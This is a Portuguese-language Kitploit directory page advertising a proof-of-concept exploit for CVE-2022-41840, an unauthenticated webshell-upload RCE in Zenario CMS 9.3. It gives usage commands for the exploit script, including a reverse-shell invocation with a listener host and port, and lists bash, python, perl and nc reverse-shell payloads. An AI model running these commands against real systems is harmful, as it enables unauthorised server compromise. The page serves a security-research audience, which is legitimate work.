Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-41840-PoC — Este é o exploit de PoC para CVE-2022-41840, executando Zenario. | Kitploit
Ferramentas/GitHubGitHub/princeaikinsbaidoo/cve-2022-41840-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubprinceaikinsbaidoo/cve-2022-41840-poc

CVE-2022-41840-PoC

Este é o exploit de PoC para CVE-2022-41840, executando Zenario.

Ver Repositório
2há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Zenario CMS 9.3 - Exploit de RCE Não Autenticado

CVE-2022-41840

Uma vulnerabilidade de execução remota de código (RCE) não autenticada que afeta o Zenario CMS versão 9.3 e anteriores. O exploit aproveita uma vulnerabilidade de upload de arquivo no endpoint AJAX para enviar um webshell PHP e obter execução de código.

Detalhes da Vulnerabilidade

  • CVE: CVE-2022-41840
  • Versão Afetada: Zenario CMS <= 9.3
  • Tipo de Vulnerabilidade: Upload de arquivo não autenticado levando a RCE
  • Vetor de Ataque: HTTP POST para /zenario/ajax.php
  • Privilégios Necessários: Nenhum (não autenticado)

Uso

Webshell Interativo

root@kitploit:~
python3 zenario_exploit.py --target http://target.com

Execução de Comando Único

root@kitploit:~
python3 zenario_exploit.py --target http://target.com --cmd "id"

Shell Reverso

root@kitploit:~
python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

Requisitos

  • Python 3.x
  • Biblioteca requests

Instale as dependências:

root@kitploit:~
pip install requests

Recursos

  • Upload automático de webshell PHP via endpoint AJAX vulnerável
  • Suporte a múltiplos valores de instanceId para maior taxa de sucesso
  • Extração de caminho baseada em JSON e regex
  • Múltiplas opções de payload de reverse shell (bash, python, perl, nc)
  • Shell PTY totalmente interativo com suporte a terminal
  • Fallback de webshell se o reverse shell falhar

Aviso Legal

Apenas para fins educacionais e de testes de segurança autorizados.

Esta ferramenta é fornecida para pesquisadores de segurança e testadores de penetração testarem sistemas que possuem ou para os quais tenham autorização explícita. O acesso não autorizado a sistemas de computador é ilegal e estritamente proibido.

Os mantenedores não se responsabilizam por qualquer uso indevido ou dano causado por esta ferramenta.

Licença

Este código é fornecido para fins educacionais.

Baixar ferramenta